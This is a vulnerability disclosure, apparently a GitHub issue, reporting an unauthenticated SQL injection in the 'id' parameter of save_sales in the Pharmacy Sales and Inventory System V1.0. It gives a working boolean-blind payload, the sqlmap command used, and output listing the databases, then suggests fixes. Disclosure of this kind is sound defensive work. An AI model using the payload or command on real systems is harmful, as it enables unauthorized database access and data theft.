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New issue



sourcecodester Pharmacy Sales and Inventory System
Project V1.0 /ajax.php?action=save_sales SQL injection #2

Open

nidleaaa opened 3 weeks ago

Owner ...

sourcecodester Pharmacy Sales and Inventory System Project V1.0 /ajax.php?action=save_sales SQL injection

NAME OF AFFECTED PRODUCT(S)

- Pharmacy Sales and Inventory System

Vendor Homepage

- <https://www.sourcecodester.com/download-code?nid=15393&title=Pharmacy+Sales+and+Inventory+System+in+PHP+using+CodeIgniter+Framework+Framework+Source+Code>

AFFECTED AND/OR FIXED VERSION(S)

submitter

- baiqiuran

Vulnerable File

- /ajax.php?action=save_sales

VERSION(S)

- V1.0

Software Link

- <https://www.sourcecodester.com/download-code?nid=15393&title=Pharmacy+Sales+and+Inventory+System+in+PHP+using+CodeIgniter+Framework+Free+Source+Code>

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '/ajax.php?action=save_sales' file of the 'Pharmacy Sales and Inventory System' project. The reason for this issue is that attackers inject malicious code from the parameter 'id' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Pharmacy Sales and Inventory System", I discovered a critical SQL injection vulnerability in the "/ajax.php?action=save_sales" file. This vulnerability stems from insufficient user input validation of the 'id' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive

information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability Information:

- 'id' parameter

Payload:

```
---  
Parameter: id (POST)  
  Type: boolean-based blind  
  Title: Boolean-based blind - Parameter replace (original value)  
  Payload: id=(SELECT (CASE WHEN (4784=4784) THEN 5 ELSE (SELECT 7976 UNION SELECT 3350)  
END))  
---
```



The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
python sqlmap.py -r 1.txt --batch --dbs
```



```
C:\Windows\System32\cmd.exe
r (potential) technique found
[19:59:51] [INFO] checking if the injection point on POST parameter 'id' is a false positive
POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
-----
Parameter: id (POST)
  Type: boolean-based blind
  Title: Boolean-based blind - Parameter replace (original value)
  Payload: id=(SELECT (CASE WHEN (4784=4784) THEN 5 ELSE (SELECT 7976 UNION SELECT 3350) END))
-----
[19:59:52] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[19:59:52] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.45, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[19:59:52] [INFO] fetching database names
[19:59:52] [INFO] fetching number of databases
[19:59:52] [INFO] resumed: 2
[19:59:52] [INFO] resumed: information_schema
[19:59:52] [INFO] resumed: pharmacy_db
available databases [2]:
[*] information_schema
[*] pharmacy_db

[19:59:52] [INFO] fetched data logged to text files under 'C:\Users\0.0\AppData\Local\sqlmap\output\127.0.0.1'
[19:59:52] [WARNING] your sqlmap version is outdated

[*] ending @ 19:59:52 /2026-04-05/

E:\sqlmap-master>
```

Suggested repair

- 1. Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
- 2. Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format.
- 3. Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as 'root' or 'admin ') for daily operations.
- 4. Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

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Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants

